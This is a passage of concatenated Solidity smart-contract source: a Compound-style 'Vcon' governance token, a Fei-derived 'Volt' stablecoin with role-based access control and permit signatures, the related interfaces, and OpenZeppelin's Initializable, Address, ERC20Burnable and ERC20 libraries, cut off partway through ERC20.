ecrecover(digest, v, r, s); require(signatory != address(0), "Vcon: invalid signature"); require(signatory == owner, "Vcon: unauthorized"); require(block.timestamp <= deadline, "Vcon: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint256) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Vcon: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 rawAmount ) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Vcon: amount exceeds 96 bits"); if (spender != src && spenderAllowance != type(uint96).max) { uint96 newAllowance = sub96( spenderAllowance, amount, "Vcon: transfer amount exceeds spender allowance" ); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Vcon: invalid signature"); require(nonce == nonces[signatory]++, "Vcon: invalid nonce"); require(block.timestamp <= expiry, "Vcon: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Vcon: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens( address src, address dst, uint96 amount ) internal { require( src != address(0), "Vcon: cannot transfer from the zero address" ); require(dst != address(0), "Vcon: cannot transfer to the zero address"); balances[src] = sub96( balances[src], amount, "Vcon: transfer amount exceeds balance" ); balances[dst] = add96( balances[dst], amount, "Vcon: transfer amount overflows" ); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96( srcRepOld, amount, "Vcon: vote amount underflows" ); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96( dstRepOld, amount, "Vcon: vote amount overflows" ); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32( block.number, "Vcon: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint( blockNumber, newVotes ); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint256) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "../refs/CoreRef.sol"; /// @title FEI stablecoin /// @author Fei Protocol contract Volt is IVolt, ERC20Burnable, CoreRef { // solhint-disable-next-line var-name-mixedcase bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) public nonces; /// @notice Fei token constructor /// @param core Fei Core address to reference constructor(address core) ERC20("VOLT", "VOLT") CoreRef(core) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name())), keccak256(bytes("1")), chainId, address(this) ) ); } /// @notice mint FEI tokens /// @param account the account to mint to /// @param amount the amount to mint function mint(address account, uint256 amount) external override onlyMinter whenNotPaused { _mint(account, amount); emit Minting(account, msg.sender, amount); } /// @notice burn FEI tokens from caller /// @param amount the amount to burn function burn(uint256 amount) public override(IVolt, ERC20Burnable) { super.burn(amount); emit Burning(msg.sender, msg.sender, amount); } /// @notice permit spending of FEI /// @param owner the FEI holder /// @param spender the approved operator /// @param value the amount approved /// @param deadline the deadline after which the approval is no longer valid function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(deadline >= block.timestamp, "Fei: EXPIRED"); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require( recoveredAddress != address(0) && recoveredAddress == owner, "Fei: INVALID_SIGNATURE" ); _approve(owner, spender, value); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "./ICoreRef.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; /// @title A Reference to Core /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Core abstract contract CoreRef is ICoreRef, Pausable { ICore private immutable _core; IVolt private immutable _volt; IERC20 private immutable _vcon; /// @notice a role used with a subset of governor permissions for this contract only bytes32 public override CONTRACT_ADMIN_ROLE; constructor(address coreAddress) { _core = ICore(coreAddress); _volt = ICore(coreAddress).volt(); _vcon = ICore(coreAddress).vcon(); _setContractAdminRole(ICore(coreAddress).GOVERN_ROLE()); } function _initialize() internal {} // no-op for backward compatibility modifier ifMinterSelf() { if (_core.isMinter(address(this))) { _; } } modifier onlyMinter() { require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter"); _; } modifier onlyBurner() { require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner"); _; } modifier onlyPCVController() { require( _core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller" ); _; } modifier onlyGovernorOrAdmin() { require( _core.isGovernor(msg.sender) || isContractAdmin(msg.sender), "CoreRef: Caller is not a governor or contract admin" ); _; } modifier onlyGovernor() { require( _core.isGovernor(msg.sender), "CoreRef: Caller is not a governor" ); _; } modifier onlyGuardianOrGovernor() { require( _core.isGovernor(msg.sender) || _core.isGuardian(msg.sender), "CoreRef: Caller is not a guardian or governor" ); _; } modifier onlyGovernorOrGuardianOrAdmin() { require( _core.isGovernor(msg.sender) || _core.isGuardian(msg.sender) || isContractAdmin(msg.sender), "CoreRef: Caller is not governor or guardian or admin" ); _; } // Named onlyTribeRole to prevent collision with OZ onlyRole modifier modifier onlyTribeRole(bytes32 role) { require(_core.hasRole(role, msg.sender), "UNAUTHORIZED"); _; } // Modifiers to allow any combination of roles modifier hasAnyOfTwoRoles(bytes32 role1, bytes32 role2) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender), "UNAUTHORIZED" ); _; } modifier hasAnyOfThreeRoles( bytes32 role1, bytes32 role2, bytes32 role3 ) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender), "UNAUTHORIZED" ); _; } modifier hasAnyOfFourRoles( bytes32 role1, bytes32 role2, bytes32 role3, bytes32 role4 ) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender) || _core.hasRole(role4, msg.sender), "UNAUTHORIZED" ); _; } modifier hasAnyOfFiveRoles( bytes32 role1, bytes32 role2, bytes32 role3, bytes32 role4, bytes32 role5 ) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender) || _core.hasRole(role4, msg.sender) || _core.hasRole(role5, msg.sender), "UNAUTHORIZED" ); _; } modifier onlyVolt() { require(msg.sender == address(_volt), "CoreRef: Caller is not VOLT"); _; } /// @notice sets a new admin role for this contract function setContractAdminRole(bytes32 newContractAdminRole) external override onlyGovernor { _setContractAdminRole(newContractAdminRole); } /// @notice returns whether a given address has the admin role for this contract function isContractAdmin(address _admin) public view override returns (bool) { return _core.hasRole(CONTRACT_ADMIN_ROLE, _admin); } /// @notice set pausable methods to paused function pause() public override onlyGuardianOrGovernor { _pause(); } /// @notice set pausable methods to unpaused function unpause() public override onlyGuardianOrGovernor { _unpause(); } /// @notice address of the Core contract referenced /// @return ICore implementation address function core() public view override returns (ICore) { return _core; } /// @notice address of the Fei contract referenced by Core /// @return IFei implementation address function volt() public view override returns (IVolt) { return _volt; } /// @notice address of the Tribe contract referenced by Core /// @return IERC20 implementation address function vcon() public view override returns (IERC20) { return _vcon; } /// @notice volt balance of contract /// @return volt amount held function voltBalance() public view override returns (uint256) { return _volt.balanceOf(address(this)); } /// @notice vcon balance of contract /// @return vcon amount held function vconBalance() public view override returns (uint256) { return _vcon.balanceOf(address(this)); } function _burnVoltHeld() internal { _volt.burn(voltBalance()); } function _mintVolt(address to, uint256 amount) internal virtual { if (amount != 0) { _volt.mint(to, amount); } } function _setContractAdminRole(bytes32 newContractAdminRole) internal { bytes32 oldContractAdminRole = CONTRACT_ADMIN_ROLE; CONTRACT_ADMIN_ROLE = newContractAdminRole; emit ContractAdminRoleUpdate( oldContractAdminRole, newContractAdminRole ); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "../core/ICore.sol"; /// @title CoreRef interface /// @author Fei Protocol interface ICoreRef { // ----------- Events ----------- event CoreUpdate(address indexed oldCore, address indexed newCore); event ContractAdminRoleUpdate( bytes32 indexed oldContractAdminRole, bytes32 indexed newContractAdminRole ); // ----------- Governor only state changing api ----------- function setContractAdminRole(bytes32 newContractAdminRole) external; // ----------- Governor or Guardian only state changing api ----------- function pause() external; function unpause() external; // ----------- Getters ----------- function core() external view returns (ICore); function volt() external view returns (IVolt); function vcon() external view returns (IERC20); function voltBalance() external view returns (uint256); function vconBalance() external view returns (uint256); function CONTRACT_ADMIN_ROLE() external view returns (bytes32); function isContractAdmin(address admin) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import {IPermissions} from "./IPermissions.sol"; import {IVolt, IERC20} from "../volt/IVolt.sol"; /// @title Core Interface /// @author Fei Protocol interface ICore is IPermissions { // ----------- Events ----------- event VoltUpdate(IERC20 indexed _volt); event VconUpdate(IERC20 indexed _vcon); // ----------- Getters ----------- function volt() external view returns (IVolt); function vcon() external view returns (IERC20); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./IPermissionsRead.sol"; /// @title Permissions interface /// @author Fei Protocol interface IPermissions is IAccessControl, IPermissionsRead { // ----------- Governor only state changing api ----------- function createRole(bytes32 role, bytes32 adminRole) external; function grantMinter(address minter) external; function grantBurner(address burner) external; function grantPCVController(address pcvController) external; function grantGovernor(address governor) external; function grantGuardian(address guardian) external; function revokeMinter(address minter) external; function revokeBurner(address burner) external; function revokePCVController(address pcvController) external; function revokeGovernor(address governor) external; function revokeGuardian(address guardian) external; // ----------- Revoker only state changing api ----------- function revokeOverride(bytes32 role, address account) external; // ----------- Getters ----------- function GUARDIAN_ROLE() external view returns (bytes32); function GOVERN_ROLE() external view returns (bytes32); function BURNER_ROLE() external view returns (bytes32); function MINTER_ROLE() external view returns (bytes32); function PCV_CONTROLLER_ROLE() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; /// @title Permissions Read interface /// @author Fei Protocol interface IPermissionsRead { // ----------- Getters ----------- function isBurner(address _address) external view returns (bool); function isMinter(address _address) external view returns (bool); function isGovernor(address _address) external view returns (bool); function isGuardian(address _address) external view returns (bool); function isPCVController(address _address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @title FEI stablecoin interface /// @author Fei Protocol interface IVolt is IERC20 { // ----------- Events ----------- event Minting( address indexed _to, address indexed _minter, uint256 _amount ); event Burning( address indexed _to, address indexed _burner, uint256 _amount ); event IncentiveContractUpdate( address indexed _incentivized, address indexed _incentiveContract ); // ----------- State changing api ----------- function burn(uint256 amount) external; function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; // ----------- Minter only state changing api ----------- function mint(address account, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "./IPermissions.sol"; /// @title Access control module for Core /// @author Fei Protocol contract Permissions is IPermissions, AccessControlEnumerable { bytes32 public constant override BURNER_ROLE = keccak256("BURNER_ROLE"); bytes32 public constant override MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant override PCV_CONTROLLER_ROLE = keccak256("PCV_CONTROLLER_ROLE"); bytes32 public constant override GOVERN_ROLE = keccak256("GOVERN_ROLE"); bytes32 public constant override GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE"); constructor() { // Appointed as a governor so guardian can have indirect access to revoke ability _setupGovernor(address(this)); _setRoleAdmin(MINTER_ROLE, GOVERN_ROLE); _setRoleAdmin(BURNER_ROLE, GOVERN_ROLE); _setRoleAdmin(PCV_CONTROLLER_ROLE, GOVERN_ROLE); _setRoleAdmin(GOVERN_ROLE, GOVERN_ROLE); _setRoleAdmin(GUARDIAN_ROLE, GOVERN_ROLE); } modifier onlyGovernor() { require( isGovernor(msg.sender), "Permissions: Caller is not a governor" ); _; } modifier onlyGuardian() { require( isGuardian(msg.sender), "Permissions: Caller is not a guardian" ); _; } /// @notice creates a new role to be maintained /// @param role the new role id /// @param adminRole the admin role id for `role` /// @dev can also be used to update admin of existing role function createRole(bytes32 role, bytes32 adminRole) external override onlyGovernor { _setRoleAdmin(role, adminRole); } /// @notice grants minter role to address /// @param minter new minter function grantMinter(address minter) external override onlyGovernor { grantRole(MINTER_ROLE, minter); } /// @notice grants burner role to address /// @param burner new burner function grantBurner(address burner) external override onlyGovernor { grantRole(BURNER_ROLE, burner); } /// @notice grants controller role to address /// @param pcvController new controller function grantPCVController(address pcvController) external override onlyGovernor { grantRole(PCV_CONTROLLER_ROLE, pcvController); } /// @notice grants governor role to address /// @param governor new governor function grantGovernor(address governor) external override onlyGovernor { grantRole(GOVERN_ROLE, governor); } /// @notice grants guardian role to address /// @param guardian new guardian function grantGuardian(address guardian) external override onlyGovernor { grantRole(GUARDIAN_ROLE, guardian); } /// @notice revokes minter role from address /// @param minter ex minter function revokeMinter(address minter) external override onlyGovernor { revokeRole(MINTER_ROLE, minter); } /// @notice revokes burner role from address /// @param burner ex burner function revokeBurner(address burner) external override onlyGovernor { revokeRole(BURNER_ROLE, burner); } /// @notice revokes pcvController role from address /// @param pcvController ex pcvController function revokePCVController(address pcvController) external override onlyGovernor { revokeRole(PCV_CONTROLLER_ROLE, pcvController); } /// @notice revokes governor role from address /// @param governor ex governor function revokeGovernor(address governor) external override onlyGovernor { revokeRole(GOVERN_ROLE, governor); } /// @notice revokes guardian role from address /// @param guardian ex guardian function revokeGuardian(address guardian) external override onlyGovernor { revokeRole(GUARDIAN_ROLE, guardian); } /// @notice revokes a role from address /// @param role the role to revoke /// @param account the address to revoke the role from function revokeOverride(bytes32 role, address account) external override onlyGuardian { require( role != GOVERN_ROLE, "Permissions: Guardian cannot revoke governor" ); // External call because this contract is appointed as a governor and has access to revoke this.revokeRole(role, account); } /// @notice checks if address is a minter /// @param _address address to check /// @return true _address is a minter // only virtual for testing mock override function isMinter(address _address) external view virtual override returns (bool) { return hasRole(MINTER_ROLE, _address); } /// @notice checks if address is a burner /// @param _address address to check /// @return true _address is a burner // only virtual for testing mock override function isBurner(address _address) external view virtual override returns (bool) { return hasRole(BURNER_ROLE, _address); } /// @notice checks if address is a controller /// @param _address address to check /// @return true _address is a controller // only virtual for testing mock override function isPCVController(address _address) external view virtual override returns (bool) { return hasRole(PCV_CONTROLLER_ROLE, _address); } /// @notice checks if address is a governor /// @param _address address to check /// @return true _address is a governor // only virtual for testing mock override function isGovernor(address _address) public view virtual override returns (bool) { return hasRole(GOVERN_ROLE, _address); } /// @notice checks if address is a guardian /// @param _address address to check /// @return true _address is a guardian // only virtual for testing mock override function isGuardian(address _address) public view virtual override returns (bool) { return hasRole(GUARDIAN_ROLE, _address); } function _setupGovernor(address governor) internal { _setupRole(GOVERN_ROLE, governor); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See 